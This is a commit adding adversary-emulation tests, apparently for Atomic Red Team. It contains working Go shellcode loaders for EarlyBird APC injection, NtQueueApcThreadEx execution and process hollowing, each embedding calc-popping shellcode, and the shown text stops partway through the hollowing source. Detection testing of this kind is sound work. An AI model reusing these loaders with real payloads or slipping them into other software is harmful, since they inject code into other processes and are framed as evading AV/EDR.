Add tests for various shellcode running techniques using Go (#2627)

* Adding shellcode running techniques using Go

* Removing auto-generated guid before PR

---------

Co-authored-by: navsec <navsec@navsec.net>
This commit is contained in:
navsec
2023-12-01 13:27:51 -08:00
committed by GitHub
parent 23aa1d2ded
commit 6879f4e317
28 changed files with 3127 additions and 0 deletions
+56
View File
@@ -33,3 +33,59 @@ atomic_tests:
command: |
"#{exe_binary}"
name: command_prompt
- name: EarlyBird APC Queue Injection in Go
description: |
Creates a process in a suspended state and calls QueueUserAPC WinAPI to add a UserAPC to the child process that points to allocated shellcode.
ResumeThread is called which then calls NtTestAlert to execute the created UserAPC which then executes the shellcode.
This technique allows for the early execution of shellcode and potentially before AV/EDR can hook functions to support detection.
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe)
- References:
- https://www.bleepingcomputer.com/news/security/early-bird-code-injection-technique-helps-malware-stay-undetected/
- https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection
supported_platforms:
- windows
input_arguments:
spawn_process_path:
description: Path of the binary to spawn
type: string
default: C:\Windows\System32\werfault.exe
spawn_process_name:
description: Name of the process to spawn
type: string
default: werfault
executor:
name: powershell
elevation_required: false
command: |
$PathToAtomicsFolder\T1055.004\bin\x64\EarlyBird.exe -program "#{spawn_process_path}" -debug
cleanup_command: |
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name "#{spawn_process_name}" -ErrorAction SilentlyContinue
- name: Remote Process Injection with Go using NtQueueApcThreadEx WinAPI
description: |
Uses the undocumented NtQueueAPCThreadEx WinAPI to create a "Special User APC" in the current thread of the current process to execute shellcode.
Since the shellcode is loaded and executed in the current process it is considered local shellcode execution.
Steps taken with this technique
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Get a handle to the current thread
5. Execute the shellcode in the current thread by creating a Special User APC through the NtQueueApcThreadEx function
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread)
- References:
- https://repnz.github.io/posts/apc/user-apc/
- https://docs.rs/ntapi/0.3.1/ntapi/ntpsapi/fn.NtQueueApcThreadEx.html
- https://0x00sec.org/t/process-injection-apc-injection/24608
- https://twitter.com/aionescu/status/992264290924032005
- http://www.opening-windows.com/techart_windows_vista_apc_internals2.htm#_Toc229652505
supported_platforms:
- windows
executor:
name: powershell
elevation_required: false
command: |
$PathToAtomicsFolder\T1055.004\bin\x64\NtQueueApcThreadEx.exe -debug
cleanup_command: |
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Binary file not shown.
Binary file not shown.
+189
View File
@@ -0,0 +1,189 @@
//go:build windows
// +build windows
// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/EarlyBird/main.go
// Concept pulled from https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/
/*
This program executes shellcode in a child process using the following steps:
1. Create a child proccess in a suspended state with CreateProcessW
2. Allocate RW memory in the child process with VirtualAllocEx
3. Write shellcode to the child process with WriteProcessMemory
4. Change the memory permissions to RX with VirtualProtectEx
5. Add a UserAPC call that executes the shellcode to the child process with QueueUserAPC
6. Resume the suspended program with ResumeThread function
*/
package main
import (
"encoding/hex"
"flag"
"fmt"
"log"
"os"
"syscall"
"unsafe"
// Sub Repositories
"golang.org/x/sys/windows"
)
func main() {
verbose := flag.Bool("verbose", false, "Enable verbose output")
debug := flag.Bool("debug", false, "Enable debug output")
program := flag.String("program", "C:\\Windows\\System32\\notepad.exe", "The program to start and inject shellcode into")
args := flag.String("args", "", "Program command line arguments")
flag.Usage = func() {
flag.PrintDefaults()
os.Exit(0)
}
flag.Parse()
// Pop Calc Shellcode (x64)
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
if errShellcode != nil {
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
}
if *debug {
fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll...")
}
// Load DLLs and Procedures
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
if *debug {
fmt.Println("[DEBUG]Loading supporting procedures...")
}
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
QueueUserAPC := kernel32.NewProc("QueueUserAPC")
// Create child proccess in suspended state
/*
BOOL CreateProcessW(
LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
*/
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling CreateProcess to start:\r\n\t%s %s...", *program, *args))
}
procInfo := &windows.ProcessInformation{}
startupInfo := &windows.StartupInfo{
Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
ShowWindow: 1,
}
errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr(*program), syscall.StringToUTF16Ptr(*args), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)
if errCreateProcess != nil && errCreateProcess.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling CreateProcess:\r\n%s", errCreateProcess.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully created the %s process in PID %d", *program, procInfo.ProcessId))
}
// Allocate memory in child process
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", procInfo.ProcessId))
}
addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
}
if addr == 0 {
log.Fatal("[!]VirtualAllocEx failed and returned 0")
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", procInfo.ProcessId))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Shellcode address: 0x%x", addr))
}
// Write shellcode into child process memory
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", procInfo.ProcessId))
}
_, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully wrote %d shellcode bytes to PID %d", len(shellcode), procInfo.ProcessId))
}
// Change memory permissions to RX in child process where shellcode was written
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", procInfo.ProcessId))
}
oldProtect := windows.PAGE_READWRITE
_, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully changed memory permissions to PAGE_EXECUTE_READ in PID %d", procInfo.ProcessId))
}
// QueueUserAPC
if *debug {
fmt.Println("[DEBUG]Calling QueueUserAPC")
}
ret, _, err := QueueUserAPC.Call(addr, uintptr(procInfo.Thread), 0)
if err != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling QueueUserAPC:\n%s", err.Error()))
}
if *debug {
fmt.Printf("[DEBUG]The QueueUserAPC call returned %v\n", ret)
}
if *verbose {
fmt.Printf("[-]Successfully queued a UserAPC on process ID %d\n", procInfo.ProcessId)
}
// Resume the child process
if *debug {
fmt.Println("[DEBUG]Calling ResumeThread...")
}
_, errResumeThread := windows.ResumeThread(procInfo.Thread)
if errResumeThread != nil {
log.Fatal(fmt.Sprintf("[!]Error calling ResumeThread:\r\n%s", errResumeThread.Error()))
}
if *verbose {
fmt.Println("[+]Process resumed and shellcode executed")
}
// Close the handle to the child process
if *debug {
fmt.Println("[DEBUG]Calling CloseHandle on child process...")
}
errCloseProcHandle := windows.CloseHandle(procInfo.Process)
if errCloseProcHandle != nil {
log.Fatal(fmt.Sprintf("[!]Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error()))
}
// Close the hand to the child process thread
if *debug {
fmt.Println("[DEBUG]Calling CloseHandle on child process thread...")
}
errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
if errCloseThreadHandle != nil {
log.Fatal(fmt.Sprintf("[!]Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error()))
}
}
// export GOOS=windows GOARCH=amd64;go build -o EarlyBird.exe ./EarlyBird.go
@@ -0,0 +1,151 @@
//go:build windows
// +build windows
// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/NtQueueApcThreadEx-Local/main.go
/*
This program executes shellcode in the current process using the following steps
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Get a handle to the current thread
4. Execute the shellcode in the current thread by creating a "Special User APC" through the NtQueueApcThreadEx function
References:
1. https://repnz.github.io/posts/apc/user-apc/
2. https://docs.rs/ntapi/0.3.1/ntapi/ntpsapi/fn.NtQueueApcThreadEx.html
3. https://0x00sec.org/t/process-injection-apc-injection/24608
4. https://twitter.com/aionescu/status/992264290924032005
5. http://www.opening-windows.com/techart_windows_vista_apc_internals2.htm#_Toc229652505
*/
package main
import (
"encoding/hex"
"flag"
"fmt"
"log"
"unsafe"
// Sub Repositories
"golang.org/x/sys/windows"
)
const (
// MEM_COMMIT is a Windows constant used with Windows API calls
MEM_COMMIT = 0x1000
// MEM_RESERVE is a Windows constant used with Windows API calls
MEM_RESERVE = 0x2000
// PAGE_EXECUTE_READ is a Windows constant used with Windows API calls
PAGE_EXECUTE_READ = 0x20
// PAGE_READWRITE is a Windows constant used with Windows API calls
PAGE_READWRITE = 0x04
)
// https://docs.microsoft.com/en-us/windows/win32/midl/enum
const (
QUEUE_USER_APC_FLAGS_NONE = iota
QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC
QUEUE_USER_APC_FLGAS_MAX_VALUE
)
func main() {
verbose := flag.Bool("verbose", false, "Enable verbose output")
debug := flag.Bool("debug", false, "Enable debug output")
flag.Parse()
// Pop Calc Shellcode
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
if errShellcode != nil {
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
}
if *debug {
fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll...")
}
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
if *debug {
fmt.Println("[DEBUG]Loading VirtualAlloc, VirtualProtect, and RtlCopyMemory procedures...")
}
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
GetCurrentThread := kernel32.NewProc("GetCurrentThread")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
NtQueueApcThreadEx := ntdll.NewProc("NtQueueApcThreadEx")
if *debug {
fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode...")
}
addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
}
if addr == 0 {
log.Fatal("[!]VirtualAlloc failed and returned 0")
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode)))
}
if *debug {
fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory...")
}
_, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
}
if *verbose {
fmt.Println("[-]Shellcode copied to memory")
}
if *debug {
fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ...")
}
oldProtect := PAGE_READWRITE
_, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
}
if *verbose {
fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ")
}
if *debug {
fmt.Println("[DEBUG]Calling GetCurrentThread...")
}
thread, _, err := GetCurrentThread.Call()
if err.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("Error calling GetCurrentThread:\n%s", err))
}
if *verbose {
fmt.Printf("[-]Got handle to current thread: %v\n", thread)
}
if *debug {
fmt.Println("[DEBUG]Calling NtQueueApcThreadEx...")
}
//USER_APC_OPTION := uintptr(QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC)
_, _, err = NtQueueApcThreadEx.Call(thread, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, uintptr(addr), 0, 0, 0)
if err.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("Error calling NtQueueApcThreadEx:\n%s", err))
}
if *verbose {
fmt.Println("[-]Queued special user APC")
}
if *verbose {
fmt.Println("[+]Shellcode Executed")
}
}
// export GOOS=windows GOARCH=amd64;go build -o NtQueueApcThreadEx.exe ./NtQueueApcThreadEx.go
+48
View File
@@ -63,3 +63,51 @@ atomic_tests:
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1055.012\src\T1055.012-macrocode.txt" -officeProduct "#{ms_product}" -sub "Exploit"
name: powershell
- name: Process Hollowing in Go using CreateProcessW WinAPI
description: |
Creates a process in a suspended state, executes shellcode to spawn calc.exe in a child process, and then resumes the original process.
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocess)
supported_platforms:
- windows
input_arguments:
hollow_binary_path:
description: Path of the binary to hollow
type: string
default: C:\Windows\System32\werfault.exe
hollow_process_name:
description: Name of the process to hollow
type: string
default: werfault
executor:
name: powershell
elevation_required: false
command: |
$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcess.exe -program "#{hollow_binary_path}" -debug
cleanup_command: |
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue
- name: Process Hollowing in Go using CreateProcessW and CreatePipe WinAPIs (T1055.012)
description: |
Create a process in a suspended state, execute shellcode to spawn calc.exe in a child process, and then resume the original process.
This test uses the CreatePipe function to create an anonymous pipe that parent and child processes can communicate over. This anonymous pipe
allows for the retrieval of output generated from executed shellcode.
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe)
supported_platforms:
- windows
input_arguments:
hollow_binary_path:
description: Path of the binary to hollow
type: string
default: C:\Windows\System32\werfault.exe
hollow_process_name:
description: Name of the process to hollow
type: string
default: werfault
executor:
name: powershell
elevation_required: false
command: |
$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcessWithPipe.exe -program "#{hollow_binary_path}" -debug
cleanup_command: |
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue
Binary file not shown.
Binary file not shown.
+614
View File
@@ -0,0 +1,614 @@
//go:build windows
// +build windows
// CREDIT: https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/CreateProcess/main.go
package main
import (
"encoding/binary"
"encoding/hex"
"flag"
"fmt"
"log"
"os"
"syscall"
"unsafe"
// Sub Repositories
"golang.org/x/sys/windows"
)
func main() {
verbose := flag.Bool("verbose", false, "Enable verbose output")
debug := flag.Bool("debug", false, "Enable debug output")
program := flag.String("program", "C:\\Windows\\System32\\notepad.exe", "The program to start and inject shellcode into")
args := flag.String("args", "", "Program command line arguments")
flag.Usage = func() {
flag.PrintDefaults()
os.Exit(0)
}
flag.Parse()
// Pop Calc Shellcode (x64)
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
if errShellcode != nil {
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
}
if *debug {
fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll...")
}
// Load DLLs and Procedures
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
if *debug {
fmt.Println("[DEBUG]Loading supporting procedures...")
}
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
// Create child proccess in suspended state
/*
BOOL CreateProcessW(
LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
*/
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling CreateProcess to start:\r\n\t%s %s...", *program, *args))
}
procInfo := &windows.ProcessInformation{}
startupInfo := &windows.StartupInfo{
Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
ShowWindow: 1,
}
errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr(*program), syscall.StringToUTF16Ptr(*args), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)
if errCreateProcess != nil && errCreateProcess.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling CreateProcess:\r\n%s", errCreateProcess.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully created the %s process in PID %d", *program, procInfo.ProcessId))
}
// Allocate memory in child process
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", procInfo.ProcessId))
}
addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
}
if addr == 0 {
log.Fatal("[!]VirtualAllocEx failed and returned 0")
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", procInfo.ProcessId))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Shellcode address: 0x%x", addr))
}
// Write shellcode into child process memory
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", procInfo.ProcessId))
}
_, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully wrote %d shellcode bytes to PID %d", len(shellcode), procInfo.ProcessId))
}
// Change memory permissions to RX in child process where shellcode was written
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", procInfo.ProcessId))
}
oldProtect := windows.PAGE_READWRITE
_, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully changed memory permissions to PAGE_EXECUTE_READ in PID %d", procInfo.ProcessId))
}
// Query the child process and find its image base address from its Process Environment Block (PEB)
// https://github.com/winlabs/gowin32/blob/0b6f3bef0b7501b26caaecab8d52b09813224373/wrappers/winternl.go#L37
// http://bytepointer.com/resources/tebpeb32.htm
// https://www.nirsoft.net/kernel_struct/vista/PEB.html
type PEB struct {
//reserved1 [2]byte // BYTE 0-1
InheritedAddressSpace byte // BYTE 0
ReadImageFileExecOptions byte // BYTE 1
BeingDebugged byte // BYTE 2
reserved2 [1]byte // BYTE 3
// ImageUsesLargePages : 1; //0x0003:0 (WS03_SP1+)
// IsProtectedProcess : 1; //0x0003:1 (Vista+)
// IsLegacyProcess : 1; //0x0003:2 (Vista+)
// IsImageDynamicallyRelocated : 1; //0x0003:3 (Vista+)
// SkipPatchingUser32Forwarders : 1; //0x0003:4 (Vista_SP1+)
// IsPackagedProcess : 1; //0x0003:5 (Win8_BETA+)
// IsAppContainer : 1; //0x0003:6 (Win8_RTM+)
// SpareBit : 1; //0x0003:7
//reserved3 [2]uintptr // PVOID BYTE 4-8
Mutant uintptr // BYTE 4
ImageBaseAddress uintptr // BYTE 8
Ldr uintptr // PPEB_LDR_DATA
ProcessParameters uintptr // PRTL_USER_PROCESS_PARAMETERS
reserved4 [3]uintptr // PVOID
AtlThunkSListPtr uintptr // PVOID
reserved5 uintptr // PVOID
reserved6 uint32 // ULONG
reserved7 uintptr // PVOID
reserved8 uint32 // ULONG
AtlThunkSListPtr32 uint32 // ULONG
reserved9 [45]uintptr // PVOID
reserved10 [96]byte // BYTE
PostProcessInitRoutine uintptr // PPS_POST_PROCESS_INIT_ROUTINE
reserved11 [128]byte // BYTE
reserved12 [1]uintptr // PVOID
SessionId uint32 // ULONG
}
// https://github.com/elastic/go-windows/blob/master/ntdll.go#L77
type PROCESS_BASIC_INFORMATION struct {
reserved1 uintptr // PVOID
PebBaseAddress uintptr // PPEB
reserved2 [2]uintptr // PVOID
UniqueProcessId uintptr // ULONG_PTR
InheritedFromUniqueProcessID uintptr // PVOID
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling NtQueryInformationProcess on %d...", procInfo.ProcessId))
}
var processInformation PROCESS_BASIC_INFORMATION
var returnLength uintptr
ntStatus, _, errNtQueryInformationProcess := NtQueryInformationProcess.Call(uintptr(procInfo.Process), 0, uintptr(unsafe.Pointer(&processInformation)), unsafe.Sizeof(processInformation), returnLength)
if errNtQueryInformationProcess != nil && errNtQueryInformationProcess.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling NtQueryInformationProcess:\r\n\t%s", errNtQueryInformationProcess.Error()))
}
if ntStatus != 0 {
if ntStatus == 3221225476 {
log.Fatal("[!]Error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH") // 0xc0000004 (3221225476)
}
fmt.Println(fmt.Sprintf("[!]NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus))
log.Fatal(fmt.Sprintf("[!]Error calling NtQueryInformationProcess:\r\n\t%s", syscall.Errno(ntStatus)))
}
if *verbose {
fmt.Println("[-]Got PEB info from NtQueryInformationProcess")
}
// Read from PEB base address to populate the PEB structure
// ReadProcessMemory
/*
BOOL ReadProcessMemory(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesRead
);
*/
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
if *debug {
fmt.Println("[DEBUG]Calling ReadProcessMemory for PEB...")
}
var peb PEB
var readBytes int32
_, _, errReadProcessMemory := ReadProcessMemory.Call(uintptr(procInfo.Process), processInformation.PebBaseAddress, uintptr(unsafe.Pointer(&peb)), unsafe.Sizeof(peb), uintptr(unsafe.Pointer(&readBytes)))
if errReadProcessMemory != nil && errReadProcessMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for PEB", readBytes))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]PEB: %+v", peb))
fmt.Println(fmt.Sprintf("[DEBUG]PEB ImageBaseAddress: 0x%x", peb.ImageBaseAddress))
}
// Read the child program's DOS header and validate it is a MZ executable
type IMAGE_DOS_HEADER struct {
Magic uint16 // USHORT Magic number
Cblp uint16 // USHORT Bytes on last page of file
Cp uint16 // USHORT Pages in file
Crlc uint16 // USHORT Relocations
Cparhdr uint16 // USHORT Size of header in paragraphs
MinAlloc uint16 // USHORT Minimum extra paragraphs needed
MaxAlloc uint16 // USHORT Maximum extra paragraphs needed
SS uint16 // USHORT Initial (relative) SS value
SP uint16 // USHORT Initial SP value
CSum uint16 // USHORT Checksum
IP uint16 // USHORT Initial IP value
CS uint16 // USHORT Initial (relative) CS value
LfaRlc uint16 // USHORT File address of relocation table
Ovno uint16 // USHORT Overlay number
Res [4]uint16 // USHORT Reserved words
OEMID uint16 // USHORT OEM identifier (for e_oeminfo)
OEMInfo uint16 // USHORT OEM information; e_oemid specific
Res2 [10]uint16 // USHORT Reserved words
LfaNew int32 // LONG File address of new exe header
}
if *debug {
fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_DOS_HEADER...")
}
var dosHeader IMAGE_DOS_HEADER
var readBytes2 int32
_, _, errReadProcessMemory2 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress, uintptr(unsafe.Pointer(&dosHeader)), unsafe.Sizeof(dosHeader), uintptr(unsafe.Pointer(&readBytes2)))
if errReadProcessMemory2 != nil && errReadProcessMemory2.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory2.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_DOS_HEADER", readBytes2))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_DOS_HEADER: %+v", dosHeader))
fmt.Println(fmt.Sprintf("[DEBUG]Magic: %s", string(dosHeader.Magic&0xff)+string(dosHeader.Magic>>8))) // LittleEndian
fmt.Println(fmt.Sprintf("[DEBUG]PE header offset: 0x%x", dosHeader.LfaNew))
}
// 23117 is the LittleEndian unsigned base10 representation of MZ
// 0x5a4d is the LittleEndian unsigned base16 represenation of MZ
if dosHeader.Magic != 23117 {
log.Fatal(fmt.Sprintf("[!]DOS image header magic string was not MZ"))
}
// Read the child process's PE header signature to validate it is a PE
if *debug {
fmt.Println("[DEBUG]Calling ReadProcessMemory for PE Signature...")
}
var Signature uint32
var readBytes3 int32
_, _, errReadProcessMemory3 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew), uintptr(unsafe.Pointer(&Signature)), unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&readBytes3)))
if errReadProcessMemory3 != nil && errReadProcessMemory3.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory3.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for PE Signature", readBytes3))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEUBG]PE Signature: 0x%x", Signature))
}
// 17744 is Little Endian Unsigned 32-bit integer in decimal for PE (null terminated)
